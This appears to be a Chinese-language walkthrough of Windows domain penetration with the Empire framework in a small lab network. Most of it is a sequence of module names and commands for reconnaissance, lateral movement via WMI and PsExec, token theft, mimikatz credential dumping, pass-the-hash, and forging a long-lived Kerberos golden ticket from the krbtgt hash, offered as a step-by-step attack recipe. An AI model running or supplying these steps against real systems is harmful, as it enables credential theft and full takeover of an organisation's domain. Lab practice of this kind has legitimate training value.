Empire域内渗透

1. 环境

 

计算机名	IP
dc	192.168.0.123
d	192.168.0.120
Databas2	192.168.0.121

2.模块使用

用基本的命令查询本地的信息

sysinfo

whoami

info

arp扫描

situational_awareness/network/arpscan

查找本地管理员

situational_awareness/network/powerview/find_localadmin_access

moonsec这个用户是否是域内某一台主机的本地管理员

 确定是否能访问 database2的c盘

查找域控

situational_awareness/network/powerview/get_domain_controller

会话注入

lateral_movement/invoke_wmi

lateral_movement/invoke_psexec

通过invoke_wmi 或者 psexe模块 拿到database2的权限

lateral_movement/invoke_wmi 

设置好监听器和计算机名用execute执行

invoke_wmi 系统自带

psexec 留下记录

lateral_movement/invoke_psexec

获取系统权限

 

 

命令token窃取

窃取之后就有dc的访问权限

ps 查询进程是否有域内超级管理员

 

steal_token 1748

shell dir \\dc\C$

恢复原来身份可以用

revtoself

凭证获取

mimikatz

当前的权限为1 我们就可以用mimikatz 这个命令 获取明文 还有用户的一些凭证。

我们获取之后可以用一个creds命令 查询用户凭证信息

获取域控权限

use lateral_movement/invoke_wmi

填写好

Listener

Credid

ComputerName

 

 

用mmimikatz获取的凭证信息还有什么用

pth 获取域控的访问权限。

3.制作黄金钥匙

creads

credentials/mimikatz/lsadump

krtbtgt 哈希

credentials/mimikatz/golden_ticket

set credid 4

set user Administrator

execute

 

制作好的黄金票据 十年才会失效 测试黄金票据

shell dir \\dc\C$